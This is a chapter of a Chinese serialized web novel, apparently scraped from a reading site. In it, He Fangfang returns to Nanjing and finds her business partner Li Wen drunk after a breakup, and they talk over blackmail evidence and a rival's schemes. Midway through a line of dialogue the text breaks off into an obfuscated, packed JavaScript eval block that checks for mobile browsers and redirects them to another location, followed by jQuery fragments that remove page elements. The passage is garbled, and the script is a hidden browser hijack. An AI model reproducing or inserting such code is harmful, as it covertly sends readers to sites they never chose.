56. 空气中又闻到了水漫金山的味道

作品:《秦淮烟雨遇故人

    何芳芳在烧烤摊坐到了后半夜,烟抽了一支又一支。总念及老刘头是华老师的老师。


    这样转圈的缘分虽令人奇妙兴奋,但也实在唏嘘不已,我们还能说起她,但我们再不能与她相见。老刘头也和何文谦十分不同,他和华老师一样,是真性情之人,而何文谦……她原本觉得,何文谦就是一个虚伪的沽名钓誉之徒,可是现在,何芳芳也拿不准了,他到底是一个怎样的人?她不了解她父亲,她父亲不了解她,这一点来说,也真是公平得很。


    她摸着那封信,边缘已经磨损出了毛边。封皮上写着刘老师收,学生华丽娟寄。她没有打开,还没有。她从小包里摸出何文谦的绝笔信,两个信封一新一旧,又摸出华老师的日记本,一字排开摆在桌上,望着它们,再望望天上不明了的月色,似乎她的烟也添了一份模糊它的光晕。


    她想她或许天生真有些离奇的命运,这么多不同的人生里的隐秘,不论在时光的哪一头,最终都会转到她的面前,她的生命,好像一场巨大的曲水流觞。


    不为了什么,不必,为了什么。


    “小姑凉,食烟这么狠?”烧烤摊老板强烈的广东口音把她的思绪拉了回来。地上一地烟头,她四周看了看,整条滨江路已经没剩几个人了,她抬头笑了笑,“老板要打烊了?”


    “是呀,到点了我不回去,我老婆不睡的。”老板咧嘴笑了,还颇有点不好意思,“没关西,你抽完这支烟。”


    何芳芳掐了烟,收拾了桌上的物件,“一共多少钱?”


    “不收你钱了,小姑凉还是少食点烟。”老板笑呵呵地,“我们做生意不好赶人的嘛,我看你一个人坐了结摸久,肯定也是遇到点事,今天就免你单了嘛,没什么过不去的。”老板咧嘴笑呵呵的,麻利地收拾了桌上的碗碟筷子,转身走了。


    何芳芳本想摸出手机扫码,又犹豫了,从钱包里找出两百现金,路过烤架时,压在了架子脚下。


    她一路往回走,一路打电话给何文衫,“小姑姑,当年署名沈荷那本小说,我想再版一次,没有出版社愿意的话,我自费。”


    何文衫在酒吧里接到的电话,她又惊又喜又忧,“这次,你想……署谁的名?”


    “沈荷。”


    “争议会很大吧。”


    “不然有什么意义?”


    何芳芳挂掉电话,路过垃圾桶,一抬手把剩下的小半盒烟和打火机一并丢进去,哐当一声,干脆利落,脚步没有丝毫停留,迎着夜风,收起脸上的冷笑,眼望前路,一步一步踩在地上。


    夜空下又听见了法海敲钵的节奏,空气中又闻到了水漫金山的味道。


    第二天一早,她一手抱着猫猫,一手提着行李,老刘头背着他的布口袋,爷孙俩打了个车到了火车站。买好票,何芳芳问老刘头,“师爷,只要你肯出山,我们这些人都得靠边站,为啥你还躲起来?”


    老刘头说:“你现在干的事,怎么知道我没干过?来来去去太多人,我还是爱看一襟晚照。”


    何芳芳沉默了。


    老刘头又问她,“老何,慕华的事,为什么要做这么绝?”


    何芳芳扬起眼皮,忍不住睁了睁眼,心想他娘的,祖师爷真是神通广大。“我做了一半,何文谦做了一半吧。那时我要卷土重来,就要一次性站稳脚跟。把慕华搞得越惨,人们就会越怕我,我得让大家知道,出卖我的下场有多可怕。”


    老刘头点点头,“这些事,你就不像娟儿。她的善良甚至有些天真。但她很纯粹,你知道吗,她二十岁的时候就拿过文学奖和编剧奖了,你可能不知道华丽娟,但你应该听过曹红叶。”


    何芳芳再一次暗自心惊,“曹红叶是华老师?”


    “对。她那时候才是真的风光无限,像她那样的天赋,才真的是难以企及,你跟她比,可差得远了。但是很可惜啊,她的理想不是写作,而是嫁给爱情。”


    何芳芳读过曹红叶的每一个作品,在她每一个偷偷摸摸躲在被窝的难眠冬夜,在她父亲强烈的鄙薄和抵制下,她真心地体会过曹红叶的文字有多么真诚感人。


    “听说,一个技能点一旦点满了,这个人大概率就特别想追求点其他的。天才嘛,总是不珍惜自己的天才。”看老刘头又开始伤感,何芳芳说了这么一句。


    谁知道老刘头正等着她,“所以你知道,你的所作所为,在别人眼里是啥样了?”


    何芳芳噎得喘不上气,瞪大眼睛盯着老刘头。


    “老何,你狠得下心。你敢用凌厉的手段,杀伐气重没什么不好的,娟儿有你一半凶狠,也不至于走到绝路。这一点,你还得谢谢你父亲。你其实知道你要什么,你只是不敢说。”


    何芳芳怔怔望着他,深深叹气,再叹气,“老刘,谢谢你!”


    “别整这些虚的,娟儿写的信,看了吗?”


    “还没有。不敢。”


    “怕什么?看看吧,你会知道她内心最深的情感。”


    “开往西安方向的列车就要发车了,还没上车的旅客抓紧时间上车。”广播再三催促了,老刘头拍拍布兜往安检口走,何芳芳跟在后头。


    检票的时候,女检票员向何芳芳也伸了手,“你不去?”


    何芳芳摇摇头,和老刘头异口同声,“我们不同路。”随即,爷孙俩相视一笑,老刘头一挥手,大步流星走上了月台。


    何芳芳转身出站,打了个长途车回到了南京建邺区的家。拖着灰扑扑的行李箱站在家门前,她心里自问:曾倩还在不在?


    开门,不在。


    房间很整齐,似乎是刻意打扫过,她摸一把茶几和餐桌,只有淡淡的灰尘。


    算了算,人去楼空的时间大概也就一周左右。也就是说,在她受伤之后不久,曾倩就搬离了这里。猫猫很快乐,自己屁颠颠地跑回了她最爱趴的墙角,就在沙发旁边,就着垫子上的灰尘好一顿翻滚磨蹭。


    何芳芳从前肯定是要抓她起来打一顿,然后送去宠物店洗澡。可是现在,她却看着撒娇耍赖的猫猫,微笑着流下了眼泪。


    她丢下行李,给猫猫放了饭,再洗了个澡,上去敲李雯的房门。


    敲了很久,无人应答。她掏出备用钥匙打开了门,迎面扑来浓臭的烟酒气。她忍着,走进去,黑黢黢的,只有沙发上一个手机屏幕亮莹莹的。一切都静悄悄的,但何芳芳知道,李雯就在附近,她关上门,没有开灯。她就着一点微光走到沙发背面,李雯就靠在沙发背上,坐在地下,身边一片啤酒空瓶,一地烟头。


    她蹲下身,“怎么了?”


    李雯知道是她,备用钥匙只有她有。“你还知道要回来?”李雯懒洋洋地说,口气凉嗖嗖的。


    “总是要回来的,你急什么?”何芳芳就地坐下,在地上寻找没有开过的啤酒。


    “你不急,因为你想翻身就能翻身,别人呢?我们没这个能耐啊!杜华年,你什么时候能替别人想想,能知道别人的感受?”李雯说得很平静,但每个字都好像沾过血。


    很久没有听到杜华年三个字,何芳芳深深吸了一口气,就像闻到了续命的芳香,她终于找到了一罐酒,迫不及待地打开喝了一大口,长叹一声,“哎——!舒坦。欸,你这副样子是为了什么?”


    李雯斜眼看着她,“我又被男人骗了。”


    李雯的语气太平静,杜华年反应了一会儿,最先令她惊讶的是,“宋林?我看宋林挺死心塌地的,再说你现在不是个穷光蛋吗?还有钱给人骗?”


    李雯这才发现,她俩已经走过了好长一段独自的生活,互相之间,除了这个破工作室,什么关联都没有。她忍不住苦笑,“对,自从你回家奔丧开始,倒霉事真是一件接着一件,他妈的!”


    话糙理不糙,杜华年回头一想,何文谦之死真真是一个转折点,她人生的,以至于推进到她的工作室,从她的工作室扩散到了李雯、曾倩,又从曾倩牵扯到了华老师,再散布到了刘白、老刘头,再从老刘头又回到了华老师这里。


    一切的跌宕,都是从何文谦之死开始的。她有种至死也绕不出围城的错觉,但她已经懒得沉没进去了,只是笑笑。


    李雯摇摇晃晃站起来,开了灯,“点个外卖吧,饿了。”


    开了灯杜华年才看清楚一地狼藉,泡面杯子啤酒罐子零食袋子,到处都是。两人开始搞卫生。


    李雯说起了她从横店回来后发生的事。


    那天她一回到南京,就直奔宋林的画室,没有找到他,于是直接联系了李东海的老情人、集团财务总监。她倒是很给面子的接了电话,“我已经在机场了,说好了,等我走了你们再动作,不要牵累我。”


    这话意味着宋林应该已经拿到了证据,可是她的一千万却还在,宋林也只字未提这件事。不需要直觉李雯也知道出事了,到底是谁和这个女人做了交易?


    她又找去了宋林的出租屋,宋林却一直避重就轻,“你要是拿到证据又不举报,就是包庇,你要是拿这个证据去要挟李东海,那就是敲诈,咱现在有一千万,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908156|192409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经比多少人一辈子挣得钱都多了,我们为什么还要搞事业呢?”


    李雯终于不想再跟他纠缠这个问题了,“够了,我刚才和她通话了,她说她已经在机场了,她准备逃跑,那就是说证据已经给你了。”


    宋林突然愤怒了,“你回来第一时间不给我打电话,却打给她?”


    李雯追问,“这是什么问题?我去你画室了,你不在。那我找你还不是为了找她?反正我回来了,不如直接找她。”


    宋林看着她一脸理所当然,忍了忍,哀求她,“雯雯,你跟我走吧,真的,别搞什么工作室了好吗?”


    李雯看着他的脸,“你如果想多要点钱,可以直说,我大不了跟我爸要多一点,分你一半都行。但是宋林,不要再跟我说什么放弃工作室了,你工作是为了挣钱,我工作是为了证明我李雯不是个废物。”她突然觉得很累很无聊,“算了……你才二十多岁,还是个男人,你什么时候想证明自己都可以,男人不管几岁开始奋斗,人们都会说一句浪子回头。可我是女人,我也没有青春了,三十五年来,我只是我妈刻意塑造出来的窝囊废,我从前没发现就算了,发现了,我就不能再做窝囊废了!”


    她很少一次性说这么多内心剖白,或许是这一次的失望是最后一根稻草吧,“宋林,分手吧。利用你帮我敲竹杠,是我不对,对不起。还有,如果你真的有证据,我还是希望你考虑卖给我。”


    宋林没想到她会说分手,她是真的觉得他一点都不重要么?他在她心里,不仅不如工作室,甚至还不如杜华年?


    他用力拉住她,但李雯像不要命一样反抗,他几次差点伤到她,终于,他害怕了,松了手。


    杜华年仔细地端详她,“你现在倒真是有点豪门子女的样子了。但是我不明白,为什么涉及这么多钱,你会放心交给你的小男朋友去办?”


    李雯拧起眉头,“因为我妈那一千万就是宋林帮我骗来的,我也怕那个女人不信我,转头再把我卖给李东海。结果……哼。”她冷笑一声。


    “所以到底证据在哪你也不知道?”


    李雯摇头,声音飘忽,伸手去拿杜华年手上的啤酒,自己又喝了一口,“现在工作室已经没有我说话的份了。曾倩都魔怔了,我想劝她,她都不见我。就算真敲到竹杠,也没用了。”


    杜华年却摇摇头,“一千万还在你手里,但是对方却觉得你拿到了证据,这是为什么?如果真不是宋林,那么,还有另一个人打着你的名号去要这个东西。”


    听她这么一说,李雯也觉得后背发凉,“你觉得是谁?”


    两个人心里其实都有了答案,杜华年说:“沈董就是沈荷,她来见过我。”


    李雯先是机械地点点头,继而突然回过神来,打了个激灵,“她见过你?!”但由于激灵打得太猛,头一阵眩晕,她捂着眼睛往地上倒去。


    杜华年来扶起她,“你多久没吃饭了?我们点个烧烤,你坐到沙发上去,我要拖地。”


    李雯听话地爬上了沙发,开始点餐。


    “她是冲我来的,她能给曾倩诱惑条件,必然也会给你。你为什么没答应她?”


    李雯慢慢站起来,走到餐桌旁抽出两份文件,回头甩在沙发上,“她把我当傻子,她说只要我把工作室的股份给她,她就给我钱收购我爸最赚钱的公司。真搞笑,李东海那个体量,只要派个人跟她沈荷去谈一谈,他们就会联合起来碾死我们这只小蚂蚁。只有曾倩这种傻子才信她的鬼话。”


    杜华年拿起来看,一份是对赌协议,只要她拿不出新剧本,工作室就输给沈荷,另一份是质押合同,用工作室换钱,再用钱去对付李东海。她低头微笑,“我赌对了你。”


    李雯回头看她卖力拖地,心里突然有点伤感,“其实我也没想到曾倩会倒戈,看她平时对你那么痴迷的样子,我还以为她是最忠诚的。”


    杜华年冷笑起来,“你搞错了,她痴迷的不是我,是我的天赋。是她没有的东西。”她洗了拖把放好,走回来往沙发上一躺,“你干嘛想敲诈李东海?一千万又是怎么回事?毕竟是父女,实在没有爱就分开,逢年过节意思意思就行,不必搞到反目成仇吧?”


    李雯本想避开捞女这件事,但看来在杜华年这里,不能有没头没尾的故事,她苦笑,“说来话长。”


    “那你就慢慢说。还有,把陈姨找回来吧,这个活我真不行。”她指了指地,李雯顺眼看去,笑出了声。


    杯一碰,两人各自灌下一口酒。